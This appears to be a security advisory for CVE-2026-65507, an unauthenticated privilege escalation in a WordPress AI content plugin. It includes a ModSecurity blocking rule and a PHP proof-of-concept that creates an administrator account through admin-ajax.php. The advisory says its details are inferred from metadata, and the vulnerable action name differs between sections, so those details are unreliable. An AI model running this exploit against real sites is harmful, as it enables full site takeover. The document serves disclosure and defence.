Atomic Edge analysis of CVE-2026-65507 (metadata-based): AI Copilot – Content Generator <= 1.5.6 contains an unauthenticated privilege escalation vulnerability that allows any remote attacker to become an administrator. The CVSS 9.8 rating and the CWE-266 classification indicate an incorrect privilege assignment bug that is reachable without authentication. This affects all installations up to 1.5.6; patched version 1.5.8 must be applied.
Root Cause: The vulnerability stems from an incorrect privilege assignment in one or more AJAX or REST endpoints. The plugin likely registers handlers without verifying the current user's capabilities, or it relies on a nonce that can be forged or omitted. Because the endpoint is accessible via wp-admin/admin-ajax.php or a REST route without a capability check, an unauthenticated attacker can invoke actions that change user roles or create new admin users. This analysis is inferred from the CWE classification and Wordfence description; no source code diff was available to confirm the exact handler.
Exploitation: An attacker sends a crafted POST request to /wp-admin/admin-ajax.php with an action parameter matching the plugin's vulnerable hook, such as ai-copilot-content-generator_register. The request includes the target user ID or a new user's username and role, with role=administrator. Because the endpoint lacks proper nonce or permission checks, the request succeeds. A full PoC would create a new admin account, enabling full site takeover.
Remediation: The vendor must add capability checks to every administrative action in the plugin. For AJAX handlers, use current_user_can('manage_options') before processing. For REST routes, register routes with the appropriate permission_callback that checks capabilities. Additionally, validate and sanitize all role and user inputs. Enforce nonce verification for state-changing actions even if the endpoint is considered public. The fixed version 1.5.8 likely includes these security controls.
Impact: Successful exploitation grants complete administrative access to the WordPress site. The attacker can install malicious plugins or themes, modify content, exfiltrate sensitive user data, create backdoor accounts, and potentially achieve remote code execution through file uploads. This compromises the site's confidentiality, integrity, and availability.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-65507 (metadata-based)
# Blocks unauthenticated admin user creation attempts via the plugin's AJAX action.
# The rule triggers only when the AJAX action and role parameter match the exploit signature.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-65507: Unauthenticated Privilege Escalation via AI Copilot',severity:'CRITICAL',tag:'CVE-2026-65507'"
SecRule ARGS_POST:action "@streq aicg_create_admin" "chain"
SecRule ARGS_POST:role "@streq administrator" "t:lowercase"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-65507 - AI Copilot – Content Generator <= 1.5.6 - Unauthenticated Privilege Escalation
// This PoC demonstrates an unauthenticated privilege escalation by creating an administrator user.
// It targets the AJAX action 'aicg_create_admin' which is inferred from the plugin slug and CWE-266.
// The endpoint lacks capability checks, allowing unauthenticated creation of an admin account.
define('TARGET_URL', 'http://target.example.com');
// Settings for the new admin user
$username = 'pwnadmin_' . substr(md5(uniqid()), 0, 6);
$email = $username . '@example.com';
$password = 'P@ssw0rd_' . bin2hex(random_bytes(4));
// Build the payload
$post_data = array(
'action' => 'aicg_create_admin',
'username' => $username,
'email' => $email,
'password' => $password,
'role' => 'administrator'
);
// Send the request
$ch = curl_init(TARGET_URL . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
// Evaluate response
if ($http_code === 200 && strpos($response, 'success') !== false) {
echo "[+] Admin account created successfullyn";
echo "[+] Username: $usernamen";
echo "[+] Email: $emailn";
echo "[+] Password: $passwordn";
} else {
echo "[-] Exploit failed. HTTP $http_coden";
echo "[-] Response: " . substr($response, 0, 500) . "n";
}
